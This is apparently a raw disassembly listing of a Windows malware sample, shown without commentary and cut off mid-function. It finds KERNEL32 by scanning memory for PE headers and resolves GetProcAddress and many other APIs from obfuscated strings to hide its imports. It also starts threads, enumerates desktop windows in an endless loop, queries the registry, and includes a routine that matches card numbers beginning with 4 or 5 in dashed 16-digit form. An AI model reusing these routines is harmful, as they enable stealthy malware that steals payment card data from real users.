lea eax, [ebp+var_20]
push eax
push offset dword_44C97C
mov eax, [ebp+var_1C]
push eax
mov edi, [eax]
call dword ptr ds:0[edi]
mov [ebp+var_4], eax
mov eax, dword_44B0AC
sub eax, 3
cmp [ebp+var_4], eax
jnz short loc_44043E
lea eax, off_44B2D0
mov [ebp+var_8], eax
push eax
mov ebx, [eax]
call dword ptr [ebx+4]
lea eax, [ebp+var_24]
push eax
push offset dword_44C8BC
mov eax, [ebp+var_8]
push eax
mov edi, [eax]
call dword ptr ds:0[edi]
mov [ebp+var_4], eax
mov eax, dword_44B0A8
sub eax, 3
cmp [ebp+var_4], eax
jnz short loc_44042C
lea eax, [ebp+var_2C]
push eax
push offset dword_44C8BC
push [ebp+var_24]
push [ebp+var_20]
call sub_4434B2
add esp, 10h
mov [ebp+var_28], eax
mov eax, [ebp+var_24]
push eax
mov ebx, [eax]
call dword ptr [ebx+8]
loc_44042C: ; CODE XREF: sub_440324+E3j
mov eax, [ebp+var_8]
push eax
mov ebx, [eax]
call dword ptr [ebx+8]
mov eax, [ebp+var_20]
push eax
mov ebx, [eax]
call dword ptr [ebx+8]
loc_44043E: ; CODE XREF: sub_440324+AEj
mov eax, [ebp+var_1C]
push eax
mov ebx, [eax]
call dword ptr [ebx+8]
loc_440447: ; CODE XREF: sub_440324+4Ej
; sub_440324+84j
xor eax, eax
jmp short loc_440450
; ---------------------------------------------------------------------------
loc_44044B: ; CODE XREF: sub_440324+1Dj
mov eax, 80020003h
loc_440450: ; CODE XREF: sub_440324+125j
pop edi
pop esi
pop ebx
leave
retn 24h
sub_440324 endp
; =============== S U B R O U T I N E =======================================
sub_440457 proc near ; CODE XREF: sub_440946+269p
push edi
push offset dword_44C1E4
call sub_4424C1
push eax
push dword_44B1D4
call ds:dword_4471F8 ; GetProcAddress
mov ds:dword_44A660, eax
push offset dword_44C1DC
call sub_4424C1
push eax
push dword_44B1D4
call ds:dword_4471F8 ; GetProcAddress
mov ds:dword_44600C, eax
push offset dword_44C1C8
call sub_4424C1
push eax
push dword_44B1D4
call ds:dword_4471F8 ; GetProcAddress
mov ds:dword_4475E8, eax
push offset dword_44C1B8
call sub_4424C1
push eax
push dword_44B1D4
call ds:dword_4471F8 ; GetProcAddress
mov ds:dword_448244, eax
push offset byte_44C1A9
call sub_4424C1
push eax
push dword_44B1D4
call ds:dword_4471F8 ; GetProcAddress
mov ds:dword_44A788, eax
push offset word_44C19A
call sub_4424C1
push eax
push dword_44B1D4
call ds:dword_4471F8 ; GetProcAddress
mov ds:dword_445008, eax
push offset dword_44C188
call sub_4424C1
push eax
push dword_44B1D4
call ds:dword_4471F8 ; GetProcAddress
mov ds:dword_44AB9C, eax
push offset byte_44C17B
call sub_4424C1
push eax
push dword_44B1D4
call ds:dword_4471F8 ; GetProcAddress
mov ds:dword_44AB8C, eax
push offset dword_44C16C
call sub_4424C1
push eax
push dword_44B1D4
call ds:dword_4471F8 ; GetProcAddress
mov ds:dword_449650, eax
push offset byte_44C15D
call sub_4424C1
push eax
push dword_44B1D4
call ds:dword_4471F8 ; GetProcAddress
mov ds:dword_44A624, eax
push offset byte_44C151
call sub_4424C1
push eax
push dword_44B1D4
call ds:dword_4471F8 ; GetProcAddress
mov ds:dword_445000, eax
push offset word_44C146
call sub_4424C1
push eax
push dword_44B1D4
call ds:dword_4471F8 ; GetProcAddress
mov ds:dword_4470E0, eax
push offset byte_44C12F
call sub_4424C1
push eax
push dword_44B1D4
call ds:dword_4471F8 ; GetProcAddress
mov ds:dword_44500C, eax
push offset dword_44C118
call sub_4424C1
push eax
push dword_44B1D4
call ds:dword_4471F8 ; GetProcAddress
mov ds:dword_44A63C, eax
push offset word_44C102
call sub_4424C1
push eax
push dword_44B1D4
call ds:dword_4471F8 ; GetProcAddress
mov ds:dword_44A608, eax
push offset word_44C0F2
call sub_4424C1
push eax
push dword_44B1D4
call ds:dword_4471F8 ; GetProcAddress
mov ds:dword_445034, eax
push offset word_44C0E6
call sub_4424C1
push eax
push dword_44B1D4
call ds:dword_4471F8 ; GetProcAddress
mov ds:dword_445028, eax
push offset word_44C0D6
call sub_4424C1
push eax
push dword_44B1D4
call ds:dword_4471F8 ; GetProcAddress
mov ds:dword_448248, eax
push offset byte_44C0C7
call sub_4424C1
push eax
push dword_44B1D4
call ds:dword_4471F8 ; GetProcAddress
mov ds:dword_449630, eax
push offset byte_44C0B9
call sub_4424C1
push eax
push dword_44B1D4
call ds:dword_4471F8 ; GetProcAddress
mov ds:dword_447A34, eax
push offset dword_44C0AC
call sub_4424C1
push eax
push dword_44B1D4
call ds:dword_4471F8 ; GetProcAddress
mov ds:dword_447618, eax
push offset byte_44C09B
call sub_4424C1
push eax
push dword_44B1D4
call ds:dword_4471F8 ; GetProcAddress
mov ds:dword_44825C, eax
push offset word_44C08A
call sub_4424C1
push eax
push dword_44B1D4
call ds:dword_4471F8 ; GetProcAddress
mov ds:dword_44502C, eax
push offset word_44C07A
call sub_4424C1
push eax
push dword_44B1D4
call ds:dword_4471F8 ; GetProcAddress
mov ds:dword_44A770, eax
push offset dword_44C068
call sub_4424C1
push eax
push dword_44B1D4
call ds:dword_4471F8 ; GetProcAddress
mov ds:dword_448258, eax
push offset byte_44C057
call sub_4424C1
push eax
push dword_44B1D4
call ds:dword_4471F8 ; GetProcAddress
mov ds:dword_446004, eax
push offset word_44C04A
call sub_4424C1
push eax
push dword_44B1D4
call ds:dword_4471F8 ; GetProcAddress
mov ds:dword_447608, eax
push offset byte_44C039
call sub_4424C1
push eax
push dword_44B1D4
call ds:dword_4471F8 ; GetProcAddress
mov ds:dword_44A664, eax
push offset dword_44C024
call sub_4424C1
push eax
push dword_44B1D4
call ds:dword_4471F8 ; GetProcAddress
mov ds:dword_44A64C, eax
push offset dword_44C014
call sub_4424C1
push eax
push dword_44B1D4
call ds:dword_4471F8 ; GetProcAddress
mov ds:dword_446000, eax
push offset byte_44BFFF
call sub_4424C1
push eax
push dword_44B1D4
call ds:dword_4471F8 ; GetProcAddress
mov ds:dword_4470D4, eax
push offset word_44BFF2
call sub_4424C1
push eax
push dword_44B1D4
call ds:dword_4471F8 ; GetProcAddress
mov ds:dword_448364, eax
push offset word_44BFE2
call sub_4424C1
push eax
push dword_44B1D4
call ds:dword_4471F8 ; GetProcAddress
mov ds:dword_44A61C, eax
push offset dword_44BFD4
call sub_4424C1
push eax
push dword_44B1D4
call ds:dword_4471F8 ; GetProcAddress
mov ds:dword_449644, eax
push offset word_44BFBE
call sub_4424C1
push eax
push dword_44B1D4
call ds:dword_4471F8 ; GetProcAddress
mov ds:dword_449638, eax
push offset byte_44BFA7
call sub_4424C1
push eax
push dword_44B1D4
call ds:dword_4471F8 ; GetProcAddress
mov ds:dword_4475FC, eax
push offset byte_44BF8F
call sub_4424C1
push eax
push dword_44B1D4
call ds:dword_4471F8 ; GetProcAddress
mov ds:dword_447A3C, eax
push offset byte_44BF77
call sub_4424C1
push eax
push dword_44B1D4
call ds:dword_4471F8 ; GetProcAddress
mov ds:dword_445010, eax
push offset word_44BF5E
call sub_4424C1
push eax
push dword_44B1D4
call ds:dword_4471F8 ; GetProcAddress
mov ds:dword_44A614, eax
push offset byte_44BF4B
call sub_4424C1
push eax
push dword_44B1D4
call ds:dword_4471F8 ; GetProcAddress
mov ds:dword_44A780, eax
push offset byte_44BF33
call sub_4424C1
push eax
push dword_44B1D4
call ds:dword_4471F8 ; GetProcAddress
mov ds:dword_44A778, eax
push offset word_44BF22
call sub_4424C1
push eax
push dword_44B1D4
call ds:dword_4471F8 ; GetProcAddress
mov ds:dword_44AB98, eax
push offset dword_44BF10
call sub_4424C1
add esp, 0ACh
push eax
push dword_44B1D4
call ds:dword_4471F8 ; GetProcAddress
mov ds:dword_4475F4, eax
pop edi
retn
sub_440457 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn bp-based frame
sub_440914 proc near ; DATA XREF: sub_43B52C+F2o
push ebp
mov ebp, esp
loc_440917: ; CODE XREF: sub_440914+2Cj
push dword_44B1A4
call ds:dword_44A630
pop ecx
mov eax, dword_44B1CC
add eax, dword_44B1A0
sub eax, 0Ah
push eax
push offset sub_442318
push 0
call ds:dword_445048 ; EnumDesktopWindows
jmp short loc_440917
sub_440914 endp
; ---------------------------------------------------------------------------
pop ebp
retn 4
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_440946 proc near ; CODE XREF: start+1p
var_138 = dword ptr -138h
var_132 = byte ptr -132h
var_130 = dword ptr -130h
var_12C = dword ptr -12Ch
var_128 = byte ptr -128h
var_127 = byte ptr -127h
var_28 = dword ptr -28h
var_24 = byte ptr -24h
var_20 = byte ptr -20h
var_19 = byte ptr -19h
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 138h
push ebx
push esi
push edi
lea eax, sub_442C0A
mov [ebp+var_10], eax
mov edx, eax
movsx ecx, word_44B128
add ecx, 10h
mov eax, edx
shr eax, cl
movsx edx, word_44B16C
add edx, 0Ch
mov ecx, edx
mov ebx, eax
shl ebx, cl
loc_44097B: ; CODE XREF: sub_440946+58j
; sub_440946+89j ...
mov [ebp+var_18], ebx
mov eax, ebx
cmp word ptr [eax], 5A4Dh
jz short loc_4409A0
movsx eax, word_44B0BC
movsx edx, word_44B194
lea eax, [eax+edx+0FFF7h]
sub ebx, eax
jmp short loc_44097B
; ---------------------------------------------------------------------------
loc_4409A0: ; CODE XREF: sub_440946+3Fj
movsx eax, word_44B100
lea eax, [eax+eax+2Ah]
mov esi, ebx
add esi, eax
mov eax, ebx
add eax, [esi]
mov [ebp+var_14], eax
mov ecx, [ebp+var_10]
cmp eax, ecx
jbe short loc_4409D1
mov eax, dword_44B1AC
add eax, 0FFFCh
add eax, dword_44B1B0
sub ebx, eax
jmp short loc_44097B
; ---------------------------------------------------------------------------
loc_4409D1: ; CODE XREF: sub_440946+75j
mov eax, [ebp+var_14]
mov [ebp+var_8], eax
movzx eax, word ptr [eax]
cmp eax, 4550h
jz short loc_4409F1
movsx eax, word_44B19C
add eax, 0FFFAh
sub ebx, eax
jmp short loc_44097B
; ---------------------------------------------------------------------------
loc_4409F1: ; CODE XREF: sub_440946+99j
mov eax, [ebp+var_8]
mov eax, [eax+80h]
mov [ebp+var_C], eax
mov eax, dword_44B18C
dec eax
mov [ebp+var_4], eax
jmp loc_440B94
; ---------------------------------------------------------------------------
loc_440A0B: ; CODE XREF: sub_440946+25Aj
mov eax, ebx
add eax, [ebp+var_C]
add eax, [ebp+var_4]
mov [ebp+var_12C], eax
mov edx, dword_44B1A4
cmp [eax], edx
jz loc_440BA6
mov eax, [ebp+var_12C]
mov edx, ebx
add edx, [eax+0Ch]
mov [ebp+var_130], edx
push edx
lea eax, [ebp+var_127]
push eax
call sub_444B60
mov eax, dword_44B0A0
add eax, dword_44B1AC
sub eax, 8
mov [ebp+var_28], eax
jmp short loc_440A7A
; ---------------------------------------------------------------------------
loc_440A58: ; CODE XREF: sub_440946+150j
mov eax, [ebp+var_28]
mov al, [ebp+eax+var_127]
cmp al, 61h
jle short loc_440A77
cmp al, 7Ah
jge short loc_440A77
mov eax, [ebp+var_28]
lea eax, [ebp+eax+var_127]
sub byte ptr [eax], 20h
loc_440A77: ; CODE XREF: sub_440946+11Ej
; sub_440946+122j
inc [ebp+var_28]
loc_440A7A: ; CODE XREF: sub_440946+110j
mov eax, [ebp+var_28]
movsx eax, [ebp+eax+var_127]
mov edx, dword_44B094
add edx, dword_44B11C
sub edx, 9
cmp eax, edx
jnz short loc_440A58
mov eax, dword_44B1C0
mov edx, eax
add edx, dword_44B0B4
cmp [ebp+edx+var_132], 4Bh
jnz loc_440B90
mov edx, dword_44B158
movsx ecx, word_44B114
add edx, ecx
cmp [ebp+edx+var_128], 45h
jnz loc_440B90
mov edx, dword_44B124
add edx, dword_44B140
cmp byte ptr [ebp+edx+var_130+2], 52h
jnz loc_440B90
movsx edx, word_44B100
add eax, edx
cmp byte ptr [ebp+eax+var_130+2], 4Ch
jnz loc_440B90
mov eax, dword_44B138
mov edx, dword_44B10C
add edx, eax
cmp byte ptr [ebp+edx+var_130], 33h
jnz short loc_440B90
cmp [ebp+eax+var_128], 32h
jnz short loc_440B90
mov eax, [ebp+var_12C]
mov edx, ebx
add edx, [eax+10h]
mov [ebp+var_138], edx
mov eax, dword_44B0A4
movsx edx, word_44B1A8
add eax, edx
sub eax, 2
mov [ebp-134h], eax
loc_440B4A: ; CODE XREF: sub_440946+246j
mov eax, [ebp+var_138]
mov esi, eax
add esi, [ebp-134h]
mov edi, [esi]
mov eax, dword_44B0F8
add eax, dword_44B14C
sub eax, 8
cmp edi, eax
jz short loc_440BA6
push edi
call sub_440C06
pop ecx
cmp dword_44B1D4, 0
jnz short loc_440BA6
movsx eax, word_44B090
add eax, 3
add [ebp-134h], eax
jmp short loc_440B4A
; ---------------------------------------------------------------------------
jmp short loc_440BA6
; ---------------------------------------------------------------------------
loc_440B90: ; CODE XREF: sub_440946+167j
; sub_440946+184j ...
add [ebp+var_4], 14h
loc_440B94: ; CODE XREF: sub_440946+C0j
mov eax, [ebp+var_8]
mov eax, [eax+84h]
cmp [ebp+var_4], eax
jb loc_440A0B
loc_440BA6: ; CODE XREF: sub_440946+DBj
; sub_440946+224j ...
cmp dword_44B1D4, 0
jz short loc_440C01
call sub_440457
call sub_442662
call sub_4437B1
mov edx, eax
mov [ebp+var_19], dl
movzx eax, [ebp+var_19]
mov edx, dword_44B10C
add edx, dword_44B094
sub edx, 0Bh
cmp eax, edx
jz short loc_440C01
lea eax, [ebp+var_24]
push eax
mov eax, dword_44B1C4
sub eax, 5
push eax
lea eax, [ebp+var_20]
push eax
push offset sub_442C0A
mov eax, dword_44B1C8
sub eax, 2
push eax
push 0
call ds:dword_44AB90 ; CreateThread
loc_440C01: ; CODE XREF: sub_440946+267j
; sub_440946+292j
pop edi
pop esi
pop ebx
leave
retn
sub_440946 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_440C06 proc near ; CODE XREF: sub_440946+227p
var_28C = dword ptr -28Ch
var_288 = dword ptr -288h
var_281 = byte ptr -281h
var_26C = byte ptr -26Ch
var_252 = byte ptr -252h
var_23D = byte ptr -23Dh
var_230 = dword ptr -230h
var_22C = dword ptr -22Ch
var_228 = dword ptr -228h
var_224 = dword ptr -224h
var_220 = byte ptr -220h
var_21F = byte ptr -21Fh
var_120 = dword ptr -120h
var_11C = dword ptr -11Ch
var_118 = dword ptr -118h
var_114 = dword ptr -114h
var_110 = dword ptr -110h
var_10C = dword ptr -10Ch
var_108 = dword ptr -108h
var_103 = byte ptr -103h
var_102 = byte ptr -102h
var_101 = byte ptr -101h
var_FE = byte ptr -0FEh
var_FD = byte ptr -0FDh
var_FC = byte ptr -0FCh
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 28Ch
push ebx
push esi
push edi
mov edi, [ebp+arg_0]
mov ecx, dword_44B188
add ecx, 10h
shr edi, cl
movsx esi, word_44B170
add esi, 8
mov ecx, esi
mov ebx, edi
shl ebx, cl
loc_440C30: ; CODE XREF: sub_440C06+50j
; sub_440C06+93j ...
mov [ebp+var_114], ebx
mov eax, ebx
cmp word ptr [eax], 5A4Dh
jz short loc_440C58
movsx eax, word_44B114
movsx edx, word_44B16C
lea eax, [eax+edx+0FFFAh]
sub ebx, eax
jmp short loc_440C30
; ---------------------------------------------------------------------------
loc_440C58: ; CODE XREF: sub_440C06+37j
mov eax, dword_44B098
add eax, 35h
add eax, dword_44B108
mov edx, ebx
add edx, eax
mov [ebp+var_10C], edx
mov eax, edx
mov edx, ebx
add edx, [eax]
mov [ebp+var_118], edx
mov eax, [ebp+arg_0]
cmp edx, eax
jbe short loc_440C9B
movsx eax, word_44B090
mov edx, dword_44B104
lea eax, [eax+edx+0FFFCh]
sub ebx, eax
jmp short loc_440C30
; ---------------------------------------------------------------------------
loc_440C9B: ; CODE XREF: sub_440C06+7Bj
mov eax, [ebp+var_118]
mov [ebp+var_11C], eax
movzx eax, word ptr [eax]
cmp eax, 4550h
jz short loc_440CC2
mov eax, dword_44B1B4
add eax, 0FFFFh
sub ebx, eax
jmp loc_440C30
; ---------------------------------------------------------------------------
loc_440CC2: ; CODE XREF: sub_440C06+A9j
mov eax, [ebp+var_11C]
mov eax, [eax+78h]
mov [ebp+var_120], eax
mov ecx, ebx
add ecx, eax
mov [ebp+var_110], ecx
mov eax, ecx
mov edx, ebx
add edx, [eax+0Ch]
push edx
lea eax, [ebp+var_103]
push eax
call sub_444B60
movsx eax, word_44B154
sub eax, 8
mov [ebp+var_4], eax
jmp short loc_440D20
; ---------------------------------------------------------------------------
loc_440CFE: ; CODE XREF: sub_440C06+136j
mov eax, [ebp+var_4]
mov al, [ebp+eax+var_103]
cmp al, 61h
jle short loc_440D1D
cmp al, 7Ah
jge short loc_440D1D
mov eax, [ebp+var_4]
lea eax, [ebp+eax+var_103]
sub byte ptr [eax], 20h
loc_440D1D: ; CODE XREF: sub_440C06+104j
; sub_440C06+108j
inc [ebp+var_4]
loc_440D20: ; CODE XREF: sub_440C06+F6j
mov eax, [ebp+var_4]
movsx eax, [ebp+eax+var_103]
mov edx, dword_44B0E4
add edx, dword_44B18C
sub edx, 3
cmp eax, edx
jnz short loc_440CFE
cmp [ebp+var_103], 4Bh
jnz short loc_440D74
cmp [ebp+var_102], 45h
jnz short loc_440D74
cmp [ebp+var_101], 52h
jnz short loc_440D74
cmp [ebp+var_FE], 4Ch
jnz short loc_440D74
cmp [ebp+var_FD], 33h
jnz short loc_440D74
cmp [ebp+var_FC], 32h
jz short loc_440D79
loc_440D74: ; CODE XREF: sub_440C06+13Fj
; sub_440C06+148j ...
jmp loc_440FB6
; ---------------------------------------------------------------------------
loc_440D79: ; CODE XREF: sub_440C06+16Cj
mov eax, dword_44B144
add eax, dword_44B1B8
sub eax, 8
mov [ebp+var_108], eax
jmp loc_440FA1
; ---------------------------------------------------------------------------
loc_440D92: ; CODE XREF: sub_440C06+3AAj
mov eax, [ebp+var_108]
mov ecx, dword_44B1C8
add ecx, dword_44B094
sub ecx, 4
mul ecx
mov [ebp+var_228], eax
mov edx, ebx
add edx, eax
mov eax, [ebp+var_110]
add edx, [eax+20h]
mov [ebp+var_10C], edx
mov eax, edx
mov edx, ebx
add edx, [eax]
mov [ebp+var_224], edx
push edx
lea eax, [ebp+var_21F]
push eax
call sub_444B60
mov eax, dword_44B144
add eax, dword_44B0A8
cmp byte ptr [ebp+eax+var_228+1], 47h
jnz loc_440F9B
movsx eax, word_44B16C
add eax, dword_44B13C
cmp byte ptr [ebp+eax+var_224+1], 74h
jnz loc_440F9B
mov eax, dword_44B0A0
cmp [ebp+eax+var_220], 50h
jnz loc_440F9B
mov eax, dword_44B138
add eax, dword_44B158
cmp byte ptr [ebp+eax+var_224+3], 63h
jnz loc_440F9B
mov eax, dword_44B160
add eax, dword_44B12C
cmp byte ptr [ebp+eax+var_228+3], 41h
jnz loc_440F9B
mov eax, dword_44B120
add eax, 4
add eax, dword_44B0B8
cmp [ebp+eax+var_21F], 72h
jnz loc_440F9B
mov eax, [ebp+var_108]
movsx ecx, word_44B114
movsx esi, word_44B0D0
add ecx, esi
mul ecx
mov [ebp+var_288], eax
mov edx, ebx
add edx, eax
mov eax, [ebp+var_110]
add edx, [eax+24h]
mov [ebp+var_114], edx
movzx eax, word ptr [edx]
mov [ebp+var_22C], eax
mov ecx, dword_44B1CC
add ecx, dword_44B09C
sub ecx, 8
mul ecx
mov [ebp+var_28C], eax
mov edx, ebx
add edx, eax
mov eax, [ebp+var_110]
add edx, [eax+1Ch]
mov [ebp+var_10C], edx
mov eax, edx
mov edx, ebx
add edx, [eax]
mov [ebp+var_230], edx
mov dword_44B1D4, ebx
mov ds:dword_4471F8, edx
lea edi, [ebp+var_23D]
lea esi, aCreatethread ; "CreateThread"
mov ecx, 0Dh
rep movsb
lea edi, [ebp+var_252]
lea esi, aEntercriticals ; "EnterCriticalSection"
mov ecx, 15h
rep movsb
lea edi, [ebp+var_26C]
lea esi, aInitializecrit ; "InitializeCriticalSection"
mov ecx, 0Dh
rep movsw
lea edi, [ebp+var_281]
lea esi, aLeavecriticals ; "LeaveCriticalSection"
mov ecx, 15h
rep movsb
lea eax, [ebp+var_23D]
push eax
push dword_44B1D4
call ds:dword_4471F8 ; GetProcAddress
mov ds:dword_44AB90, eax
lea eax, [ebp+var_252]
push eax
push dword_44B1D4
call ds:dword_4471F8 ; GetProcAddress
mov ds:dword_44A65C, eax
lea eax, [ebp+var_26C]
push eax
push dword_44B1D4
call ds:dword_4471F8 ; GetProcAddress
mov ds:dword_446008, eax
lea eax, [ebp+var_281]
push eax
push dword_44B1D4
call ds:dword_4471F8 ; GetProcAddress
mov ds:dword_44964C, eax
jmp short loc_440FB6
; ---------------------------------------------------------------------------
loc_440F9B: ; CODE XREF: sub_440C06+1E8j
; sub_440C06+203j ...
inc [ebp+var_108]
loc_440FA1: ; CODE XREF: sub_440C06+187j
mov eax, [ebp+var_110]
mov eax, [eax+18h]
cmp [ebp+var_108], eax
jb loc_440D92
loc_440FB6: ; CODE XREF: sub_440C06:loc_440D74j
; sub_440C06+393j
pop edi
pop esi
pop ebx
leave
retn
sub_440C06 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_440FBB proc near ; CODE XREF: sub_43AFB5+18Cp
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
push ecx
push edi
lea eax, [ebp+var_4]
push eax
push 20019h
mov eax, dword_44B1C8
sub eax, 2
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call ds:dword_4475EC ; RegOpenKeyExA
mov edi, eax
or edi, edi
jz short loc_440FE8
xor eax, eax
jmp short loc_441015
; ---------------------------------------------------------------------------
loc_440FE8: ; CODE XREF: sub_440FBB+27j
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_14]
push 0
push [ebp+arg_8]
push [ebp+var_4]
call ds:dword_44503C ; RegQueryValueExA
mov edi, eax
push [ebp+var_4]
call ds:dword_44A618 ; RegCloseKey
or edi, edi
jz short loc_441012
xor eax, eax
jmp short loc_441015
; ---------------------------------------------------------------------------
loc_441012: ; CODE XREF: sub_440FBB+51j
xor eax, eax
inc eax
loc_441015: ; CODE XREF: sub_440FBB+2Bj
; sub_440FBB+55j
pop edi
leave
retn
sub_440FBB endp
; =============== S U B R O U T I N E =======================================
sub_441018 proc near ; DATA XREF: .data:0044B2A0o
mov eax, 80004001h
retn 8
sub_441018 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_441020 proc near ; CODE XREF: sub_43E1CC+A3p
; sub_43E1CC+DAp ...
var_4 = dword ptr -4
arg_0 = byte ptr 8
push ebp
mov ebp, esp
push ecx
push ebx
push edi
movzx eax, [ebp+arg_0]
mov ecx, 0Ah
mov edx, 0CCCCCCCDh
mul edx
shr edx, 3
mov [ebp+var_4], edx
mov edi, edx
add edi, 61h
mov ebx, edi
mov [ebp+arg_0], bl
mov al, [ebp+arg_0]
cmp al, 65h
jz short loc_441061
cmp al, 79h
jz short loc_441061
cmp al, 75h
jz short loc_441061
cmp al, 69h
jz short loc_441061
cmp al, 6Fh
jz short loc_441061
cmp al, 61h
jnz short loc_441065
loc_441061: ; CODE XREF: sub_441020+2Bj
; sub_441020+2Fj ...
add [ebp+arg_0], 1
loc_441065: ; CODE XREF: sub_441020+3Fj
cmp [ebp+arg_0], 6Ah
jnz short loc_44106F
add [ebp+arg_0], 1
loc_44106F: ; CODE XREF: sub_441020+49j
movzx eax, [ebp+arg_0]
pop edi
pop ebx
leave
retn
sub_441020 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_441077 proc near ; CODE XREF: sub_43C281+20p
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push 4
push 1000h
push [ebp+arg_0]
push 0
call ds:dword_448248 ; VirtualAlloc
pop ebp
retn
sub_441077 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_44108E proc near ; CODE XREF: sub_43F0EA+BA2p
var_30C = dword ptr -30Ch
var_308 = dword ptr -308h
var_304 = dword ptr -304h
var_300 = dword ptr -300h
var_2FC = dword ptr -2FCh
var_2F8 = dword ptr -2F8h
var_2F4 = dword ptr -2F4h
var_2F0 = dword ptr -2F0h
var_2EC = dword ptr -2ECh
var_2E8 = dword ptr -2E8h
var_2E4 = dword ptr -2E4h
var_2E0 = dword ptr -2E0h
var_2DC = dword ptr -2DCh
var_2D8 = dword ptr -2D8h
var_2D4 = dword ptr -2D4h
var_2D0 = dword ptr -2D0h
var_2CC = dword ptr -2CCh
var_2C8 = dword ptr -2C8h
var_2C4 = dword ptr -2C4h
var_2BE = byte ptr -2BEh
var_2BC = dword ptr -2BCh
var_2B8 = dword ptr -2B8h
var_2B4 = dword ptr -2B4h
var_2B0 = dword ptr -2B0h
var_2AC = dword ptr -2ACh
var_2A8 = dword ptr -2A8h
var_2A4 = dword ptr -2A4h
var_2A0 = dword ptr -2A0h
var_29C = dword ptr -29Ch
var_298 = dword ptr -298h
var_294 = dword ptr -294h
var_290 = dword ptr -290h
var_28C = dword ptr -28Ch
var_288 = dword ptr -288h
var_284 = dword ptr -284h
var_280 = dword ptr -280h
var_27C = dword ptr -27Ch
var_278 = dword ptr -278h
var_274 = dword ptr -274h
var_270 = dword ptr -270h
var_26C = dword ptr -26Ch
var_268 = dword ptr -268h
var_264 = dword ptr -264h
var_260 = dword ptr -260h
var_25C = dword ptr -25Ch
var_258 = dword ptr -258h
var_253 = byte ptr -253h
var_23F = byte ptr -23Fh
var_140 = dword ptr -140h
var_13C = dword ptr -13Ch
var_138 = dword ptr -138h
var_134 = dword ptr -134h
var_130 = dword ptr -130h
var_12C = dword ptr -12Ch
var_128 = dword ptr -128h
var_124 = dword ptr -124h
var_120 = dword ptr -120h
var_11C = dword ptr -11Ch
var_118 = dword ptr -118h
var_114 = dword ptr -114h
var_110 = dword ptr -110h
var_10A = byte ptr -10Ah
var_108 = byte ptr -108h
var_105 = byte ptr -105h
var_104 = byte ptr -104h
var_102 = word ptr -102h
var_FF = byte ptr -0FFh
var_FE = byte ptr -0FEh
var_FB = byte ptr -0FBh
var_F9 = byte ptr -0F9h
var_F8 = byte ptr -0F8h
var_F7 = byte ptr -0F7h
var_F6 = byte ptr -0F6h
var_F4 = byte ptr -0F4h
var_F1 = byte ptr -0F1h
var_F0 = byte ptr -0F0h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 30Ch
push ebx
push esi
push edi
cmp [ebp+arg_4], 0
jz loc_441FC7
mov eax, [ebp+arg_0]
mov al, [eax]
cmp al, 34h
jz short loc_4410B5
cmp al, 35h
jnz loc_441FC7
loc_4410B5: ; CODE XREF: sub_44108E+1Dj
mov eax, [ebp+arg_0]
mov ecx, eax
or eax, 0FFFFFFFFh
loc_4410BD: ; CODE XREF: sub_44108E+34j
inc eax
cmp byte ptr [ecx+eax], 0
jnz short loc_4410BD
mov [ebp+var_128], eax
mov edx, dword_44B0B4
add edx, 8
cmp eax, edx
jz short loc_4410E8
mov edx, dword_44B0A0
add edx, 0Fh
cmp eax, edx
jnz loc_441FC7
loc_4410E8: ; CODE XREF: sub_44108E+47j
mov eax, dword_44B1A4
mov ebx, eax
add ebx, dword_44B12C
sub ebx, 5
jmp short loc_44111E
; ---------------------------------------------------------------------------
loc_4410FA: ; CODE XREF: sub_44108E+9Bj
mov eax, 30h
mul ebx
mov [ebp+var_260], eax
mov eax, [ebp+arg_4]
mov edx, [ebp+var_260]
cmp ds:dword_448370[edx], eax
jz loc_441FC7
inc ebx
loc_44111E: ; CODE XREF: sub_44108E+6Aj
mov eax, dword_44B0AC
lea eax, [eax+eax+5Eh]
cmp ebx, eax
jb short loc_4410FA
movsx eax, word_44B0B0
movsx edx, word_44B154
lea eax, [eax+edx+3]
cmp [ebp+var_128], eax
jnz loc_4412EA
mov eax, [ebp+arg_0]
mov al, [eax+4]
cmp al, 2Dh
jz short loc_44115B
cmp al, 20h
jnz loc_441FC7
loc_44115B: ; CODE XREF: sub_44108E+C3j
mov eax, [ebp+arg_0]
mov al, [eax+9]
cmp al, 2Dh
jz short loc_44116D
cmp al, 20h
jnz loc_441FC7
loc_44116D: ; CODE XREF: sub_44108E+D5j
mov eax, [ebp+arg_0]
mov al, [eax+0Eh]
cmp al, 2Dh
jz short loc_44117F
cmp al, 20h
jnz loc_441FC7
loc_44117F: ; CODE XREF: sub_44108E+E7j
mov eax, dword_44B144
mov edx, [ebp+arg_0]
mov dl, [edx]
mov [ebp+eax+var_104], dl
movsx eax, word_44B19C
mov edx, eax
add edx, eax
mov eax, [ebp+arg_0]
mov al, [eax+1]
mov [ebp+edx+var_10A], al
mov eax, dword_44B1C4
add eax, dword_44B0E4
mov edx, [ebp+arg_0]
mov dl, [edx+2]
mov [ebp+eax+var_104], dl
mov eax, dword_44B09C
mov edx, [ebp+arg_0]
mov dl, [edx+3]
mov [ebp+eax+var_104], dl
mov eax, dword_44B198
add eax, dword_44B1B4
mov edx, [ebp+arg_0]
mov dl, [edx+5]
mov [ebp+eax+var_104], dl
mov eax, dword_44B0B8
mov edx, [ebp+arg_0]
mov dl, [edx+6]
mov [ebp+eax+var_FE], dl
mov eax, dword_44B1B0
mov edx, [ebp+arg_0]
mov dl, [edx+7]
mov [ebp+eax+var_F9], dl
